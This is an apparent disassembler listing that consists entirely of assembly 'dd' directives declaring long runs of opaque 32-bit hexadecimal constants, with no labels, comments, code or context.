		dd 2D16F0AAh, 0B8306F1Bh, 7043F1Fh, 5BDC158Ah, 6D7CE0BCh
		dd 0FE01D0D5h, 0ADB4FB41h, 3C32BB36h, 738F0070h, 7EE93777h
		dd 0B8B07B11h, 0BE04BFE4h, 968C0FA3h, 0EFBB70CCh, 0EB2C3980h
		dd 491AA7FEh, 993FD600h, 19B1DDAFh, 0C5D10009h,	15B09005h
		dd 6D307347h, 0E3C0D133h, 0C4AD00C3h, 0BE18D47Ah, 88E44745h
		dd 0D375D202h, 4498320Bh, 946D2A28h, 0B02700E4h, 0EABF0AAAh
		dd 690147DEh, 0D74C55B4h, 0AC2C3A14h, 1C3828h, 9BA7020Ch
		dd 0DB931822h, 0DE3D211Ch
		dd 0EA1EB680h, 9C9DDC7Eh, 3C78E054h, 0AD7F41DEh, 159EA00h
		dd 50BBA114h, 1120B122h, 0DCE02645h, 94307E63h,	0E5CF3C0h
		dd 9C61C8C0h, 127B2282h, 9090E4C2h, 0FB0A148h, 60BB1024h
		dd 35934934h, 0DD029C94h, 0B55497BDh, 27244CA1h, 91BF31h
		dd 84990C06h, 44C0CD26h, 0EA8F5660h, 0C7E4BBh, 0FAB53BD7h
		dd 0CD1792EEh, 123A3004h, 58E2F1CCh, 3D249828h,	21A61D65h
		dd 41A02688h, 22C12D27h, 8E704004h, 39081432h, 0B06438h
		dd 0D53494C5h, 4AC6AD9Bh, 3AE8425Ch, 0E45D4AEEh, 0BEB4F22h
		dd 0DC0483A4h, 644B8Ch,	3EBCD538h, 653D0FB5h, 472BE1E9h
		dd 3091348Dh, 4C94AD88h, 7CB018BEh, 3A4F4319h, 40A0579h
		dd 118AEE8h, 3091C34Bh,	8100D738h, 6ED7D239h, 145D3FFh
		dd 7AC9DE1h, 39BA521Bh,	0D1738090h, 8CF45Bh, 85A4E00Ch
		dd 9EB61359h, 102249h, 5B7CA08Bh, 589AD81Ch, 7DC0DC70h
		dd 76E80D4Dh, 848E243Eh, 0C622FEC2h, 90F29D84h,	0BEC46300h
		dd 78B77204h, 59F75303h, 0C05A11F3h, 1DBACB8Bh,	0AAB051B2h
		dd 10AB0360h, 698FD75Fh, 92E2E6D0h, 2F1BB625h, 2CC44040h
		dd 71FF517h, 929F3CF7h,	7DB080B2h, 5F0C6A1Ch, 0A95D1423h
		dd 14C65C12h, 0F38FB4D1h, 313FAD05h, 0D00341B0h, 54B14BCBh
		dd 66028B1Fh, 0E62A7FABh, 3E7501E0h, 1346B274h,	24C7042h
		dd 369D38C4h, 0ACD88Ch,	0B16B6D76h, 0BF9475BAh,	0D3F5601h
		dd 377EF881h, 9C009C3Dh, 0A494B025h, 0DA64F25Eh, 5482A391h
		dd 20C4A2D1h, 0B86C21h,	388D6472h, 0FDCC970Ah, 317CFB00h
		dd 0CB06576Bh, 3EEB261Ch, 0C9B216FCh, 8CDBE390h, 27ECD8E5h
		dd 0F97C20F2h, 0E80C4005h, 98CD25B8h, 0D4C00C3Ch, 573707CEh
		dd 0B898397Ch, 14224E16h, 0FECB6C20h, 7DF700E5h, 0A48EE49Bh
		dd 981EA8C5h, 0F3C16050h, 731DC3D1h, 243C6BE4h,	64FCFA32h
		dd 19923215h, 51A84230h, 5600362Fh, 0A617EE14h,	74EB03B9h
		dd 8260C1E5h, 0C44472DAh, 9894CF22h, 92F512F4h,	9E6080CCh
		dd 0D7094047h, 96FB328Bh, 571D39C8h, 0E7D69880h, 4EB4BEBCh
		dd 8ADB2C01h, 0F1C62503h, 2021CC23h, 0B8202C24h, 411C4F18h
		dd 881214C9h, 6D00BAFAh, 29B3551Eh, 0A45247h, 0E258BF01h
		dd 436E7708h, 0C0381C48h, 0F37AC68Dh, 4588986Fh, 0EC586146h
		dd 429F733Ch, 98981974h, 7886309h, 41DC727Ch, 0A0286893h
		dd 0F554A9h, 55E5527Bh,	403E9EFCh, 4332B0A0h, 80E06C5Ch
		dd 6E4C7562h, 60DB014Fh, 96075F3Dh, 0BCDDE470h,	880CFF32h
		dd 43F86075h, 875F39C4h, 4C12D454h, 14C480C8h, 0C59CD79Ah
		dd 0D70C00C3h, 0E4847127h, 534014B4h, 3333BDEh,	0E958B262h
		dd 71F1CE6Ch, 2D98343Fh, 24B73A0Eh, 202CB43h, 20838558h
		dd 0C321F186h, 0E02D7924h, 982F1B0Ah, 25EEE641h, 0EA740BD0h
		dd 7462F18Ch, 2C694F08h, 7B192780h, 0C053AE32h,	4BCA3C91h
		dd 3713F28Dh, 58D01480h, 1D8104h, 0B503164Eh, 0E945C1ABh
		dd 9680B948h, 0E995B50Ch, 3ABB00D1h, 2C15224h, 6124BD8h
		dd 7C1DDA99h, 642E4011h, 0BE816E3Ch, 0DC7254A1h, 0BF00CA39h
		dd 946CE8CFh, 5AFF10h, 70F590FCh, 5D435F84h, 0C7F0A0A6h
		dd 26928300h, 50B8FD8Ch, 0B3E9252Eh, 0F4108892h, 8DFA20F7h
		dd 2CD9DD3Ch, 1B618C97h, 0B468166Ah, 250F280h, 320315F1h
		dd 202F4ECBh, 0C83A8889h, 0BA60201Bh, 5E8CDC48h, 0A2C6820h
		dd 3DF20033h, 4CF9F5B2h, 0DF00C6E5h, 7359CE8Bh,	12A645ABh
		dd 32B9A968h, 16106CA4h, 408B017Eh, 1AF1F565h, 8D598033h
		dd 0AB310C08h, 423D00AEh, 5B6E7864h, 0F30B224Dh, 5F42C12h
		dd 0BC807CA8h, 9A8E42E2h, 45F09050h, 80582C18h,	2DDB1006h
		dd 0A4BB48A6h, 9CF9CB80h, 24BA7184h, 0F827364Eh, 9BE98100h
		dd 1BD80155h, 8C8FDC45h, 33D0203Ch, 0C6C4898Ah,	24F41620h
		dd 8CB425CEh, 22073A88h, 90AA30B5h, 0E1DBBE21h,	88390420h
		dd 700B1E2Ah, 1F8D1C3h,	75F67E11h, 0DF0EF0h, 288C4F13h
		dd 36AED6F9h, 0ABDA6403h, 0C011DB3Bh, 9B2365E1h, 0D01490ACh
		dd 5DC3C1F8h, 0E0691B27h, 1A5F2202h, 3060F87Ah,	0E30E1D32h
		dd 65F60D50h, 2485FCC6h, 0B627388Ch, 9368EEB4h,	0B4A6D91Eh
		dd 0F867E405h, 4800305Eh, 0E53FB90Eh, 3A9D00F4h, 0C68C892Ah
		dd 0A21FC7D3h, 0B1531565h, 12318902h, 0A1A444CEh, 87146CB0h
		dd 2D947830h, 0CBB859B0h, 73F02575h, 1F43F440h,	0CB72FF6h
		dd 2414200Ch, 18079049h, 1004C7A2h, 0EA619650h,	0F7CE302Ch
		dd 0CB5F8304h, 0E28BF000h, 2571E6DDh, 26E0FCC5h, 124BF11h
		dd 24F65922h, 63F2D135h, 0F58B0090h, 2566F995h,	1A270972h
		dd 0E8E99490h, 6085143Ah, 0DC8754E2h, 74A10011h, 0D305EAC7h
		dd 93D005AFh, 0AC12BC08h, 8E3F6090h, 0BD00B005h, 0AD1CB4A2h
		dd 0A19DF53h, 71AF3284h, 0F0C24298h, 66ABE922h,	0C8E0D608h
		dd 77000D70h, 0B9D3CD9Ah, 0A243E3h, 0F4EB33Bh, 0B6D791BDh
		dd 13336E0Ah, 44BA2C03h, 2DC60B8Eh, 0B0C8BB37h,	490B775Bh
		dd 76A78FAh, 399050D0h,	379A0Bh, 3522B92Ah, 267014DDh
		dd 0D814F09Ah, 84ACF2B5h, 0BC89ED32h, 0E4AA3C43h, 50DF4040h
		dd 0C52A1233h, 0C49B6CF1h, 805AB90Eh, 3BAC91CAh, 0D3A81F28h
		dd 31920901h, 385104A9h, 49BA6D8Ch, 0AC2101C7h,	0A40AEDC3h
		dd 0C4062A4Bh, 9529B90Ch, 65DF3C20h, 9C00D98Dh,	48047951h
		dd 0DA0F0Ch, 85D8CACBh,	6EAEAA61h, 0D80D49Ch, 69E37791h
		dd 9C260017h, 0B77FF89Eh, 0C20253E0h, 0EA14AF84h, 34F0A443h
		dd 0E6CB9440h, 650ED0D6h, 0A0BEABF1h, 96DA9B6Fh, 9517F9Dh
		dd 0C32527C6h, 3C806C45h, 0A132F19Dh, 1F089CB0h, 2B82AD9h
		dd 0C3430515h, 0B8582F38h, 0F4406C4Ah, 8CD2CB27h, 0F65F24BEh
		dd 251391B8h, 0C8104BBBh, 0FAD57Dh, 85F3B54Bh, 2A6D3E56h
		dd 0DAAC44A1h, 72CB1222h, 0F10A690h, 147601FCh,	866DBD00h
		dd 34793656h, 0D515F508h, 0AC902582h, 0BA00B732h, 4E48E18Bh
		dd 128A208h, 36AF6849h,	6DAB5CBFh, 64F0695Ch, 0F6D00064h
		dd 0FCB4D9F9h, 0C8B8DF34h, 58AF3E44h, 5E28F68Bh, 6C3B2084h
		dd 205BC942h, 1EB20BA4h, 0EE07887Ch, 0BDDF9142h, 0CB406BA0h
		dd 880979Ah, 73AA34FBh,	6505CCB0h, 4612A21Dh, 2F816C82h
		dd 5884C60Ah, 0BF00807Ch, 0F43FAFEFh, 0BB14DC8h, 1976B37Dh
		dd 22006C64h, 156634AEh, 270542EAh, 8427B1E8h, 8CA5C043h
		dd 3E6F4F34h, 96009E31h, 518B9D07h, 1344916Ch, 0B9742819h
		dd 3903B1Ch, 3E04F766h,	0C4C76A82h, 3A4F1641h, 24099072h
		dd 8CC0921Bh, 0A4A67064h, 0A183C2FFh, 80DCFB60h, 2E30CB2Ch
		dd 0A328C4E8h, 0D8049347h, 0E0CD1237h, 0E605C8A2h, 8813C65Eh
		dd 0BA03D5CCh, 617788B6h, 6BC7C803h, 5F850CFBh,	0EB89ED6Dh
		dd 4AADAE02h, 7319C6E9h, 0E84C85CCh, 6592C062h,	501D55AEh
		dd 503E5EEBh, 454475C4h, 414494C5h, 0F23CA032h,	3E00F04Eh
		dd 96F75D71h, 762E3C9h,	0B3A1CADh, 0D4980017h, 0DF30223Eh
		dd 0C8E8C832h, 45ACB02Eh, 0FA084049h, 0AEEC9A2Ch, 0E9485D05h
		dd 58081DB8h, 7000BA32h, 9050924Eh, 3001BAFBh, 8FA5962h
		dd 1A3087FDh, 40789E45h, 0AA3BBE32h, 0FD434A00h, 0D956CBF3h
		dd 310A1FCFh, 4BC6877h,	0F93E8C8Ah, 815CB8CDh, 0BEC75D4Fh
		dd 9CE7FD0h, 0C14A062Dh, 32774200h, 0D49107B1h,	4422E09Dh
		dd 6400583Dh, 0EE3E935Fh, 0F46830h, 251D3AE6h, 0C9A6A0C1h
		dd 43F03354h, 3C5AF218h
		dd 356E39h, 550C1208h, 0FAF75954h, 7B7A227Bh, 0FC65601Eh
		dd 0AE27FEC2h, 5F4E04Ah, 48909542h, 820159FAh, 96913A2Eh
		dd 0B0633C76h, 80240D00h, 1D356CCEh, 643E0E16h,	0AA7488h
		dd 90ECA49Eh, 31D7D6EEh, 5AB5AF0Ch, 736C213Fh, 3DBA0092h
		dd 0A0A76D7Bh, 0EA187CADh, 0D7F83720h, 7E0F04B5h, 0C2E0498Ch
		dd 78C56D3Ch, 0B214EB82h, 99E8B845h, 1EF100F3h,	48A66546h
		dd 53009DC9h, 2E273ACDh, 921C5424h, 508E4960h, 5CC0A848h
		dd 64222443h, 9FB8A228h, 9EDC281Fh, 98C83E56h, 6F4E01Ch
		dd 0D6702220h, 0BA0042CEh, 9CAAC1F0h, 15CAB9A1h, 8C06E1D9h
		dd 52E7410Ah, 5FE060ACh, 944BBA17h, 48142001h, 4E2F326Fh
		dd 8D855D40h, 2538C31Bh, 408CB0C0h, 3E08909Ah, 0AC58074Fh
		dd 3475601Ch, 81007ED0h, 0E77A5690h, 943C0Bh, 29DCD9DEh
		dd 6CF238C5h, 74C4192Eh, 0DAC2243h, 65326D52h, 5C2358h
		dd 0B4EB7D76h, 3834546h, 1174968Bh, 0DFA8D5ACh,	10B10B8Ch
		dd 0A41C4F08h, 7FC26D8h, 4B3DE2E9h, 47ED0830h, 2450F896h
		dd 1CAB4831h, 0E3801ECFh, 18E9AD78h, 0CF214C00h, 29E05ABEh
		dd 0F718BADFh, 7C034F11h, 0C678D9D4h, 8D898C28h, 11A1EE06h
		dd 9A0C13F8h, 4834E18Ch, 603CB9BEh, 907EA13h, 0FEB1B01h
		dd 6B3E8F9h, 368C2838h,	7C00CEE9h, 258832F4h, 970152h
		dd 0A72F894Ah, 76A89B62h, 0F30E8616h, 0EB70C4C0h, 0CDFE4BC6h
		dd 8916C07Ch, 0DDDA7D64h, 55613980h, 42A73CB8h,	84C4BBA5h
		dd 0F4EABF05h, 64812AE3h, 381213AFh, 4C5B6080h,	0FF00C886h
		dd 0EE7249C1h, 501C5F16h, 300A80E0h, 1A88D0D3h,	49C59A6Dh
		dd 6C5209ACh, 604F34D2h, 0F32917h, 5BD6041h, 0C9BA5F9h
		dd 0CA25E712h, 3600C0E2h, 91DA64D8h, 0F507EAA0h, 81CC8CB5h
		dd 8EE1E637h, 0C0603F1Eh, 0E8225862h, 421E811h,	20CAD7A3h
		dd 24F094C0h, 0EAC73125h, 40142259h, 3F0FA970h,	2A59C00h
		dd 8C4F2DBBh, 0DFDB0090h, 67CDC53Ah, 8FE222B3h,	8EB5131h
		dd 507DBB4Dh, 18D79A00h, 754BEAAh, 16D0302Eh, 7CC93C00h
		dd 0EC7BEC73h, 0C046716Ch, 0D839AC79h, 5A3F7867h, 0E32E12DDh
		dd 963E8808h, 7D2CC724h, 0A880DAE8h, 4C148E47h,	38000B9h
		dd 20A32313h, 802950AEh, 0DD6909EAh, 60299AB4h,	3E9128E0h
		dd 26956EEAh, 92B0F4h, 0D8D76FFDh, 7FB422FCh, 0B2217C98h
		dd 0EACA0815h, 8BE810ADh, 7A4500F5h, 3531DAA3h,	6F018419h
		dd 9438D302h, 42CD47A8h, 1894ABE6h, 0C0BD78h, 0E859BC19h
		dd 40DE29CCh, 0A4D5D91Dh, 10F22FBDh, 0C8DD2Ch, 0F110EB8Eh
		dd 0DF034EFEh, 4BC4CA48h, 84ED6C38h, 8807891h, 9C791A95h
		dd 0B7A4A13h, 183028B0h, 20E053D6h, 0BA8BE200h,	0E53E816Bh
		dd 49AE4A32h, 0F0901B60h, 0FE00736Ch, 0D3C03B74h, 626549h
		dd 461B30D1h, 1204137Eh, 0A65F8925h, 8039AA1Ch,	4020A4C4h
		dd 64B61B44h, 0E087C781h, 16D8DA84h, 0EC78BF60h, 8CBEF02Ch
		dd 0E8FB2C02h, 107C71ADh, 2C1096C7h, 28EB26D4h,	92381B27h
		dd 6C8C616Dh, 5C9071A7h, 5D1C78CDh, 554ACB66h, 1AA5F422h
		dd 91085118h, 0A127126Bh, 841604C8h, 343244h, 1CBF1092h
		dd 0D376DEC7h, 5C22B41Eh, 805D3B0Ch, 4F3C88A3h,	85200248h
		dd 0BCB29632h, 0CFDDFA80h, 0EF0EB9D2h, 29E33D27h, 22600235h
		dd 1ACD142h, 205F3748h,	7BD640B0h, 1B5A6919h, 62421440h
		dd 8DF1Dh, 0FA92B47Ch, 2F4D25B8h, 126D5300h, 43E673AAh
		dd 64299F1Dh, 526FE004h, 5DC088h, 0BCD1D21Ch, 6971F721h
		dd 0F92A5400h, 27F1365Eh, 0AC1E48D3h, 76FF6373h, 24E1794Fh
		dd 8CD44CC8h, 885A3816h, 6D95800h, 984912A2h, 0E15E45A8h
		dd 0C0603CD1h, 328034B5h, 0EC2652ECh, 9CB0C34Fh, 65D2AEF0h
		dd 9927C303h, 0A5329D07h, 8C154C8Ch, 0CA73BCBAh, 0B9BB2A40h
		dd 50B300D0h, 0FAC7643Bh, 0D62D720Eh, 0E71B4092h, 76A3C218h
		dd 89854EB0h, 8B20C644h, 0A4B2A0h, 271069AEh, 0EAF3DCACh
		dd 0B0493896h, 0BD3D58h, 2CB628E9h, 0D4DBF82Dh,	0CD583003h
		dd 0D082E6ECh, 4CDACA34h, 8F06E83Ch, 0B943C601h, 0A243BC9Eh
		dd 0F3BEE030h, 0B1B009F8h, 4894276Eh, 98A1E702h, 0E078A615h
		dd 0E1B8066h, 105DA5DCh, 4DF526E0h, 209601C3h, 9A23B888h
		dd 0F0F0714Bh, 2E74B03Ch, 0FF0944A8h, 6B80059Dh, 20F316EEh
		dd 59AA524h, 0BE92DC00h, 0A2C68C4Bh, 85634F45h,	0EA980070h
		dd 0E9C91246h, 906C8A88h, 531D5E10h, 0D29000E4h, 65A05603h
		dd 1B04F516h, 0F284A4h,	0C144A649h, 5FB48A5Ah, 3F0B87FCh
		dd 9CB7E945h, 0BC9F000Ch, 0F31F39FFh, 7B070DC9h, 7157B30Bh
		dd 4BE8DCD0h, 1031E716h, 2044A066h, 0D9A40178h,	46803AF9h
		dd 0E62DE4C0h, 705D9800h, 0FBEFB353h, 94989082h, 986060E0h
		dd 0AB260E8Ch, 0E11834D7h, 91CD2558h, 60209668h, 546B56F4h
		dd 0F173E00h, 15C1FB32h, 384A0295h, 5A184220h, 3CCD8C80h
		dd 0C94A24F4h, 0E4C51830h, 0EA54FC88h, 36344C7Ah, 16ACD52Eh
		dd 6CE34Ch, 0D984DCD4h,	954EBF5Ch, 881BE804h, 0E103B58Ch
		dd 0F84AABF7h, 0D8C584B7h, 7AAFB881h, 83C21210h, 238C3CA1h
		dd 0FD420044h, 80B63364h, 0CB4A012Eh, 88A120B5h, 0F6F8718Fh
		dd 7B807828h, 7A58B6DDh, 1FC20078h, 0C84C97BAh,	424EB26Bh
		dd 999B060h, 69203AF1h,	4509537h, 3A6401B9h, 0E9D06F13h
		dd 653C3DE2h, 347F5E0Fh, 0E0BBAA04h, 6C524380h,	8F4C39E8h
		dd 0C7F30ADEh, 812040F4h, 20EF74Eh, 0A63F4726h,	3CD905D6h
		dd 0C93B0C00h, 14F3AEh,	17E11B60h, 0B504AAB1h, 70EC3898h
		dd 48442626h, 0A1B9E960h, 0CCED4C15h, 0CF0CC124h, 43270760h
		dd 0F2E9C087h, 0D89E24E6h, 0B740BB78h, 144FF811h, 0C1F88Ch
		dd 0BDCBDDE5h, 24FA3E22h, 8C5FA228h, 10901A25h,	1162DA4h
		dd 9982F081h, 0A015630Ah, 3544B4B8h, 2D6CFA8Bh,	2890A932h
		dd 0ED34EB8Dh, 6CA2C011h, 0A217CF00h, 338073E4h, 0CC388E74h
		dd 52FA80E7h, 0F22104B1h, 0F5910216h, 438CCA8Ah, 0C04FBC54h
		dd 0A8B7D7C1h, 5D3807E6h, 0A0AC30BDh, 0F8E3C373h, 0E27D1700h
		dd 7692E935h, 24775865h, 32A71C05h, 0D0A91Bh, 44BA6175h
		dd 2480ABF1h, 434E65Ch,	0A12E830Ah, 0D8206AF0h,	0E1DD003h
		dd 480CD80Dh, 0C48EF980h, 60B9275Dh, 0CC8DFB80h, 19FDFEh
		dd 73717FE6h, 3712E2C1h, 315E1602h, 0F3288B60h,	483088ECh
		dd 0AE00FC20h, 8CECCBEAh, 9F5B9328h, 136B748Eh,	0C06D50C9h
		dd 2D006FFEh, 0E13E649Bh, 0C296D4h, 0AE1C6172h,	251566C3h
		dd 0E9656A02h, 0D4446EB2h, 0FFCC05Ch, 923805FDh, 80A5B956h
		dd 4EEBC3E4h, 2C700B36h, 4764B47Bh, 1A27CF32h, 0C664A099h
		dd 0CE00A2F6h, 0FF19748Ch, 2CFBF830h, 160AE501h, 0C08AD0h
		dd 6D4C7730h, 0D24169h,	7AD3EE21h, 80A32F3Bh, 6062044Bh
		dd 830F98Ah, 4F9C4284h,	0A5441125h, 1771F109h, 9FBE8CC0h
		dd 74ECB0B9h, 3E21C90Ah, 76401471h, 58B0C6h, 67CA5CA2h
		dd 603F731Eh, 2ACB0901h, 0B0C31C08h, 486238E5h,	26B7007Dh
		dd 6B2FA27Dh, 0B0BCAA37h, 0C4CBB82Ch, 451E007Ch, 49840F65h
		dd 9448717Bh, 77280535h, 40C32D2Eh, 0BFC80848h,	3F9CBA68h
		dd 548B5862h, 0D3C836C0h, 5D7A9181h, 0B6FA51Dh,	3CDB9686h
		dd 4504448h, 364F1C0h, 12FBF5ECh, 9037885Fh, 5A1F4A00h
		dd 69C79100h, 25DF8993h, 9075FEBCh, 653828ACh, 2C062244h
		dd 38C8274Ah, 19200EAFh
		dd 9AE30139h, 45C85904h, 5F00479Eh, 76E1F835h, 98DE2EFCh
		dd 20909748h, 0A00361Fh, 0E9AC5369h, 28515241h,	12FE1CEFh
		dd 0A0804EA1h, 76157A64h, 4FBC434Fh, 11C10CCh, 0CA530878h
		dd 0E109F20Ch, 209DF872h, 5EF4DE3Bh, 0A4E2F4C2h, 0A3E0C8h
		dd 2745B310h, 6DB08427h, 1244AE08h, 0DD79F540h,	40013B37h
		dd 46424AC7h, 5AE0DFFAh, 72831D96h, 40686405h, 0CED2E201h
		dd 649A2600h, 0ABDA0BB1h, 389329ADh, 0A2210098h, 8B959732h
		dd 747D7000h, 4E05693Ah, 2A341FCCh, 45EB4EFAh, 842E30E5h
		dd 1B0CB988h, 886937BBh, 0ECFD5E9h, 0F362223Dh,	0AC8BD902h
		dd 8B06CD0h, 3489D34Ah,	0C5434880h, 0C11A4E7Fh,	14AC6D48h
		dd 2F9095FFh, 0D2B0ABB9h, 72AE1390h, 111200C2h,	8A2040EAh
		dd 3EE0931Eh, 0A2145479h, 5E3A5900h, 71E48FD5h,	72354C9Bh
		dd 8C4EE858h, 4E12D7C4h, 18884855h, 0F98F0002h,	0DEC63B0Bh
		dd 2779ED5Ch, 1C5B3300h, 461625D5h, 12017F47h, 828A4939h
		dd 0A1049DCCh, 24B224h,	5A13794Ah, 7EFC61h, 0C0B6C432h
		dd 15E72102h, 4044AE12h, 8437A408h, 5646A332h, 6C0240E3h
		dd 0A05A1C42h, 0E420DEE0h, 5F21243Fh, 9ED96C30h, 0AC909504h
		dd 10005493h, 0AA9BA239h, 2027653h, 28DFC574h, 58463E7Eh
		dd 0A22D8100h, 0D6371689h, 0F5A40964h, 304A9B0Fh, 3240445Ch
		dd 0BE6779h, 4CA4BF3Eh,	0A9915DB5h, 133B906h, 25DEEB1Eh
		dd 0D0892241h, 0F4CEB007h, 0AC20002Bh, 2F837F3Ch, 8C20E88Ch
		dd 42CED6DDh, 0A1AAC502h, 0D03B86B3h, 143C1214h, 42208164h
		dd 28DAD015h, 245874B8h, 35C0DF88h, 0FC5BCBB6h,	4E88FA3Ah
		dd 328402C0h, 8C5173B8h, 1D073711h, 67EDF2B4h, 303387AEh
		dd 93EA8C25h, 800D6001h, 0C99AF522h, 0CD815C78h, 305F95AAh
		dd 2D3B1E2Ah, 0C27E03E2h, 809A2313h, 488D431Bh,	428024B4h
		dd 0BE1D7152h, 0A6574A00h, 4CFCDFE9h, 0CAF4079Eh, 9F46B4h
		dd 0CB250634h, 22005C91h, 634E14E2h, 0A09B9F5Fh, 28F17BF2h
		dd 553CAE00h, 0FE4A1726h, 1DB600B8h, 9437CAE1h,	14093FCFh
		dd 0E43C7CB7h, 15DA0278h, 0D625DD45h, 3450D05Ch, 0DA4F815Ch
		dd 88F91CEAh, 55ED6180h, 9DACB1Dh, 5EBBC538h, 7EF3C470h
		dd 3ED3FC60h, 8C435F24h, 66F820F4h, 83BBA41h, 0C8A82138h
		dd 39B55C01h, 6C899265h, 47219462h, 77241D14h, 904B992Fh
		dd 0D17040h, 9C74EAA0h,	6447481Fh, 8AA3C801h, 163FA1F7h
		dd 0ACC412A5h, 0A4328400h, 0A3AB7FF8h, 43021CA9h, 1834A69Bh
		dd 0B4D971AEh, 800A18A1h, 0D856C30Ch, 8DC049h, 279D0B3Eh
		dd 0AC328569h, 9022E55Fh, 109611E1h, 9ED10h, 0A3D23A3Dh
		dd 5ECA8E16h, 417E9003h, 0F00AA126h, 186E86E3h,	41B86D12h
		dd 7200D68Dh, 9D528ED1h, 0FCF01145h, 0B5EE6C7h,	4B1C4FE3h
		dd 0A122CC52h, 0D7640543h, 0A46D278Ch, 0AA5EE9C8h, 71C424C8h
		dd 8ABF00A7h, 52A37101h, 0A1B71423h, 7D6D289Ch,	1888783Ch
		dd 0C8004397h, 97DFF409h, 25B67893h, 5845AEE9h,	9DED0207h
		dd 0A31ABF00h, 14BB3DA5h, 459E2D80h, 0C5A421AAh, 8D88B804h
		dd 34824470h, 7101161Dh, 0BC96DA3Fh, 0F020F6E0h, 0D4EC8AF7h
		dd 0E95BFD08h, 14E469ADh, 86FB932h, 0CD25E00Bh,	0BC78DE8Fh
		dd 8FC02841h, 5ED8C1D0h, 5BC88616h, 79800043h, 35FFAE39h
		dd 10952373h, 0F42DFEB0h, 0E77C01B5h, 5BD00B8Ch, 6EB2D788h
		dd 0AA07B044h, 78D16F6Ah, 4E046C1h, 2D80182Ch, 858FA1D7h
		dd 8424DB00h, 0A0BD7235h, 0E6791F27h, 563A9F25h, 80E8C483h
		dd 1446DC24h, 9E00E0A4h, 81DD6192h, 164047Fh, 0B44C6D15h
		dd 313EE1AFh, 6BE84A02h, 73CC8040h, 4FFC408Bh, 56543122h
		dd 79ADF011h, 0E47CBA29h, 1FFD4F80h, 1549247h, 6EC9DD19h
		dd 0F8A14B5Ch, 6B098415h, 903789C1h, 94694DCh, 3CDDE469h
		dd 0BE00F4F9h, 0EF35204Dh, 8E5300FFh, 0CDB5EBACh, 9A008DEAh
		dd 380F631Fh, 91D024F3h, 0B7E90A9Ch, 0E8F14998h, 0D729C300h
		dd 547180Eh, 0AD96305h,	5266C756h, 0F8D9BF32h, 0D120ECC4h
		dd 0CA4A74ABh, 84BE6CA0h, 703ED90Eh, 2A14807Ah,	0BCC4CC12h
		dd 612050F8h, 0BE2ABB00h, 0F4E6DCB5h, 7DC40062h, 0FA6C0FECh
		dd 1B030358h, 0C6CB4308h, 8F080937h, 9CF39932h,	134F3E0Eh
		dd 646CE0B5h, 0C9F6B580h, 291D48A1h, 4832F476h,	0E0513Bh
		dd 45B967E9h, 0D0179717h, 0CD0107FBh, 0AA327D99h, 6A0B9439h
		dd 780222FEh, 74DED738h, 50B3E912h, 8A12C621h, 0AFCC2C30h
		dd 1BA6004Eh, 23855986h, 0DA027B06h, 33A6443h, 56484179h
		dd 418470E2h, 0C02C6D1Dh, 7A100B91h, 2038C08Ch,	5A12A9E5h
		dd 363B78A0h, 0F0405500h, 0AF0CBAB9h, 3C45072Ah, 0C065AA76h
		dd 0CC2DB3B0h, 0DF3F317Fh, 388E013Bh, 0F3F18B1Ah, 8D2C017Eh
		dd 70969358h, 89C8C08h,	0C9AED440h, 81640074h, 1E8F05D0h
		dd 0E51CC694h, 1981FB35h, 46115BBBh, 71FC206Fh,	69058AB2h
		dd 0E884CDE9h, 3BD8830h, 4D7AC8h, 88F1A8B8h, 9727C920h
		dd 0A23416E6h, 6C00482Bh, 6790E965h, 2F0A007Ah,	69377E12h
		dd 4C039622h, 4B23F3DFh, 0F5C01DF2h, 0B413561Dh, 6D00A19Ch
		dd 206EBE59h, 6371E0h, 493586AFh, 0D65D8AC5h, 0F6D7BC00h
		dd 0E85180Ch, 89500BEh,	779BB763h, 0BB14DFD9h, 80447h
		dd 3B719107h, 0E912D5h,	47C0D48Ch, 2C045229h, 614E1B00h
		dd 647E4809h, 0D0F90038h, 5B189A1Ch, 0F6783FAFh, 0B0D76C3Fh
		dd 4FB951F4h, 21940FC6h, 838C4359h, 0F0004D19h,	0CEAD2EBEh
		dd 1C7C5EEEh, 0C1EF92D2h, 4690D752h, 85A891BAh,	8A9A818h
		dd 0C700CDB7h, 0E415D407h, 0DA03E9h, 0AE6F06BEh, 7B19D7DFh
		dd 30FBA503h, 0C93E3549h, 38807CF4h, 53C7A09Bh,	0FE3919F1h
		dd 0B19E00D4h, 5CD1BBD8h, 71B0245h, 28973F1Ch, 62209884h
		dd 0ABA823FBh, 8AEC891Fh, 6064FCCEh, 0E8EF31B4h, 71133FDCh
		dd 0CEBF8D80h, 0F48219B0h, 0B6812460h, 0DF2618h, 8E328715h
		dd 586D22D3h, 5B62D100h, 0D669D539h, 312360F4h,	0D7D2F2F9h
		dd 0A72EEB00h, 0CB69CD9Fh, 0A49700D4h, 67AE208Ah, 7144F422h
		dd 0F426F4BBh, 2F61D5Dh, 0ECDC15E2h, 0B300353Ah, 80145791h
		dd 7F0158B6h, 86F9E659h, 41877653h, 4361A3FCh, 0BB88E0D6h
		dd 2901134Eh, 734F3C4Dh, 0D0C00E6Bh, 0F6380061h, 5E6ADAAAh
		dd 66B05330h, 0DBCEF50Ch, 0F17E71E2h, 91A79850h, 0F3CD1C22h
		dd 8F95BF56h, 8900A0ACh, 485DC3B6h, 0B402EF5Fh,	0E8D8F87Ah
		dd 2B8E8076h, 188AD536h, 0A125F371h, 0D000E0DCh, 0F623E397h
		dd 0F4BB233h, 18A337DDh, 0A0D485h, 0F9E444AFh, 0C93F66C1h
		dd 71A7302Eh, 0ED7CB57h, 26DE8B5Ch, 0E09D69E7h,	39A27D11h
		dd 10BF0D00h, 8BCAC03h,	0D9C9C265h, 9090F3B3h, 0A80056EDh
		dd 0F5F1A11Bh, 15C3FBBh, 0F6D6BA77h, 0F8A01C15h, 0AFB8BCF9h
		dd 0CBB641C7h, 87FAC641h, 1E77BCCh, 2D6E36DEh, 0DF5E69E1h
		dd 2222900h, 1E45936Dh,	4D9C0F49h, 0A402EB6h, 341AA85Ah
		dd 0F2EAEB73h, 3D510B00h, 0E5EA774Ch, 0A98B00A5h, 0AA680374h
		dd 5960AFFAh, 0D5E3F608h, 42700EDh, 0B8C3E6B3h,	841E9367h
		dd 188162D7h, 0FF7F9F02h, 29651C42h, 0D4DC9F00h, 957A24h
		dd 7809B3E1h, 21FD0066h, 8B34D513h, 0D103304Dh,	8168F62Ah
		dd 0AA0800C6h, 0A3636975h, 50006759h, 0FEACE7B6h, 1332AB8h
		dd 0EB852F73h, 5C029F63h, 69008D3Ch, 3EBE8162h,	16B6A3F4h
		dd 427993h, 2AA1D212h
		dd 0E300886Ch, 9DFA8F16h, 0C08283E9h, 0D2801E79h, 2D00CA73h
